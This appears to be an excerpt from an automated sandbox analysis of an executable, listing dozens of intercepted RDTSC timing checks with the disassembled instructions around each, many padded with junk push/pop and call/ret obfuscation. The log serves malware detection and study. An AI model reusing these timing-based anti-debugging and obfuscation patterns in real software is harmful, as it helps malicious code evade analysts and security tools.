Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0B59F second address: C0B5A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0B31A second address: C0B32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0C088 second address: C0C0CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FC9D915F4B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov edi, ebx 0x00000028 push 00000000h 0x0000002a stc 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0C0CD second address: C0C0D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0C0D1 second address: C0C0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C12C88 second address: C12CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a jno 00007FC9D8BCC178h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C12CAE second address: C12CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC9D915F4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C12CB8 second address: C12CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C12CBC second address: C12CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FC9D915F4C5h 0x0000000f jmp 00007FC9D915F4BDh 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C12CDA second address: C12CDF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC7CFC second address: BC7D23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FC9D915F4BDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1329C second address: C132A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FC9D8BCC166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C132A6 second address: C132AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C132AA second address: C132C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007FC9D8BCC172h 0x0000000f jl 00007FC9D8BCC16Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1438F second address: C14421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FC9D915F4B8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov edi, dword ptr [ebp+122D34A0h] 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FC9D915F4B8h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov edi, ecx 0x00000054 mov eax, dword ptr [ebp+122D00C1h] 0x0000005a mov ebx, dword ptr [ebp+1248508Fh] 0x00000060 push FFFFFFFFh 0x00000062 mov bh, al 0x00000064 nop 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 jmp 00007FC9D915F4C3h 0x0000006d pop ecx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C152F8 second address: C152FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C14421 second address: C14426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C16121 second address: C16149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jl 00007FC9D8BCC166h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C152FD second address: C15389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D301Ch] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d xor edi, dword ptr [ebp+122D1974h] 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FC9D915F4B8h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 call 00007FC9D915F4C0h 0x00000049 mov di, si 0x0000004c pop edi 0x0000004d mov eax, dword ptr [ebp+122D091Dh] 0x00000053 mov edi, dword ptr [ebp+122D2A69h] 0x00000059 mov bl, ah 0x0000005b push FFFFFFFFh 0x0000005d sub edi, dword ptr [ebp+122D3435h] 0x00000063 nop 0x00000064 push eax 0x00000065 push edx 0x00000066 jno 00007FC9D915F4C0h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C14426 second address: C1442C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C16149 second address: C1614F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C15389 second address: C153B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9D8BCC178h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1614F second address: C16153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1442C second address: C14439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C153B5 second address: C153BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C14439 second address: C1443D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C16153 second address: C161A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FC9D915F4B8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jbe 00007FC9D915F4BAh 0x00000029 mov di, 9838h 0x0000002d push 00000000h 0x0000002f and di, 3876h 0x00000034 push 00000000h 0x00000036 cmc 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC9D915F4C4h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C153BB second address: C153BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C161A4 second address: C161AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C153BF second address: C153C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C16388 second address: C163A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FC9D915F4BCh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C163A0 second address: C163A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C17DC6 second address: C17DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C17DCC second address: C17DE6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC9D8BCC16Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C18CC2 second address: C18D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FC9D915F4B8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov ebx, edx 0x00000025 push 00000000h 0x00000027 ja 00007FC9D915F4BCh 0x0000002d push 00000000h 0x0000002f jc 00007FC9D915F4BBh 0x00000035 or di, 5B76h 0x0000003a xchg eax, esi 0x0000003b jmp 00007FC9D915F4BCh 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pushad 0x00000045 popad 0x00000046 pop ecx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C17F9B second address: C18053 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC9D8BCC16Fh 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FC9D8BCC168h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a clc 0x0000002b push dword ptr fs:[00000000h] 0x00000032 sub bx, CB29h 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov bx, cx 0x00000041 mov ebx, dword ptr [ebp+122D2E1Ch] 0x00000047 mov eax, dword ptr [ebp+122D125Dh] 0x0000004d push 00000000h 0x0000004f push edx 0x00000050 call 00007FC9D8BCC168h 0x00000055 pop edx 0x00000056 mov dword ptr [esp+04h], edx 0x0000005a add dword ptr [esp+04h], 0000001Dh 0x00000062 inc edx 0x00000063 push edx 0x00000064 ret 0x00000065 pop edx 0x00000066 ret 0x00000067 mov dword ptr [ebp+122D2E51h], ecx 0x0000006d push FFFFFFFFh 0x0000006f mov bh, E1h 0x00000071 nop 0x00000072 jnc 00007FC9D8BCC170h 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FC9D8BCC16Ah 0x00000080 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C18053 second address: C1805D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC9D915F4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1BCA9 second address: C1BCC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1BCC8 second address: C1BCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1CD03 second address: C1CD2C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC9D8BCC168h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FC9D8BCC176h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1CD2C second address: C1CD8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FC9D915F4BDh 0x0000000f push 00000000h 0x00000011 or dword ptr [ebp+122D30CAh], edx 0x00000017 mov edi, dword ptr [ebp+122D1926h] 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007FC9D915F4B8h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 push eax 0x0000003a mov edi, 29CA581Ch 0x0000003f pop edi 0x00000040 push eax 0x00000041 jbe 00007FC9D915F4C2h 0x00000047 jl 00007FC9D915F4BCh 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1FDEB second address: C1FE72 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FC9D8BCC16Bh 0x00000010 nop 0x00000011 movzx ebx, dx 0x00000014 push ecx 0x00000015 mov dword ptr [ebp+122D3777h], edi 0x0000001b pop ebx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FC9D8BCC168h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 jmp 00007FC9D8BCC16Ch 0x0000003d sub ebx, 42E42D6Ah 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007FC9D8BCC168h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 00000014h 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D322Dh], edx 0x00000065 sub bx, 2151h 0x0000006a push eax 0x0000006b push edx 0x0000006c push ebx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1CEF8 second address: C1CEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1CEFC second address: C1CFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jo 00007FC9D8BCC174h 0x0000000e pushad 0x0000000f mov eax, dword ptr [ebp+122D2B49h] 0x00000015 add dword ptr [ebp+122D2DF9h], ebx 0x0000001b popad 0x0000001c push dword ptr fs:[00000000h] 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007FC9D8BCC168h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007FC9D8BCC168h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 0000001Ch 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e jmp 00007FC9D8BCC178h 0x00000063 mov eax, dword ptr [ebp+122D100Dh] 0x00000069 sub bh, FFFFFF9Eh 0x0000006c movsx ebx, si 0x0000006f push FFFFFFFFh 0x00000071 or di, 45ABh 0x00000076 push eax 0x00000077 pushad 0x00000078 jmp 00007FC9D8BCC16Ch 0x0000007d pushad 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1DF04 second address: C1DF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1DF08 second address: C1DF0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C20D1D second address: C20D44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FC9D915F4BCh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 je 00007FC9D915F4C2h 0x00000018 jc 00007FC9D915F4BCh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C20D44 second address: C20D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 push 00000000h 0x00000007 mov dword ptr [ebp+122D3777h], ebx 0x0000000d push 00000000h 0x0000000f add dword ptr [ebp+12467C01h], edi 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1DFC9 second address: C1DFD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C21D27 second address: C21D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C1FFCC second address: C1FFFC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC9D915F4C7h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC9D915F4BBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C21D2D second address: C21D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C200E6 second address: C200EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C21E88 second address: C21E92 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC9812 second address: BC9818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC9818 second address: BC9830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BC9830 second address: BC9834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD2075 second address: BD207B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C29ED0 second address: C29ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C29ED4 second address: C29EEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC172h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2D944 second address: C2D948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2D948 second address: C2D94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2D94C second address: C2D952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2DAC1 second address: C2DAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2DAC5 second address: C2DACF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC9D915F4B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2DACF second address: C2DB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC9D8BCC176h 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FC9D8BCC16Bh 0x00000015 popad 0x00000016 jmp 00007FC9D8BCC16Fh 0x0000001b popad 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2DD9D second address: C2DDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007FC9D915F4BAh 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007FC9D915F4C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C2DDC6 second address: C2DDE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 ja 00007FC9D8BCC188h 0x0000000d push eax 0x0000000e jmp 00007FC9D8BCC16Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BCCEDB second address: BCCEDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
